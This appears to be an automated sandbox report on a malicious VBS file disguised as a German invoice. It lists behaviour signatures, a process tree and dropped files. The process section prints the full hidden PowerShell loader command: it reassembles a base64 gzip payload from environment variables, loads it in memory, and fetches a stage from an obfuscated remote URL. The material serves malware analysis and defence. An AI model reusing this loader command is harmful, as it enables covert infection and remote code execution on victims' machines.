Overview

overview

10

Static

static

1

DE-0039020...29.vbs

windows10-2004-x64

10

DE-0039020...29.vbs

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/06/2026, 09:16

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General

  • Target
    DE-00390200 Rechnung R-0000329.vbs
  • Size 8.5MB
  • Sample260618-k8hpesh15w
  • SHA256 d78bc974947dca5f86fc0b5503e157b1537dbac4bcfe4bfb1779213342a5bb19
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DE-00390200 Rechnung R-0000329.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/W0LU-XRHK-W9VQ-2V7Z/vzt_90bdcm.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','ong','1','','w4v4vehYaD','0','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/W0LU-XRHK-W9VQ-2V7Z/vzt_90bdcm.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','ong','1','','w4v4vehYaD','0','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2376

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8193ada392b2a523356c6b053f75b49d95b9e59861365dae516c181f46195518
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_trcvttxk.zn0.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trcvttxk.zn0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2376-1-0x0000024B56360000-0x0000024B56370000-memory.dmp
        Download

        memory/2376-0-0x0000024B56360000-0x0000024B56370000-memory.dmp
        Download

        memory/2376-9-0x0000024B562A0000-0x0000024B562C2000-memory.dmp
        Download

        memory/2376-19-0x0000024B572A0000-0x0000024B57354000-memory.dmp
        Download

        memory/2376-20-0x0000024B3DD60000-0x0000024B3DD6A000-memory.dmp
        Download

        memory/3432-3-0x000001BA9CB60000-0x000001BA9CB70000-memory.dmp
        Download

        memory/3432-2-0x000001BA9CB60000-0x000001BA9CB70000-memory.dmp
        Download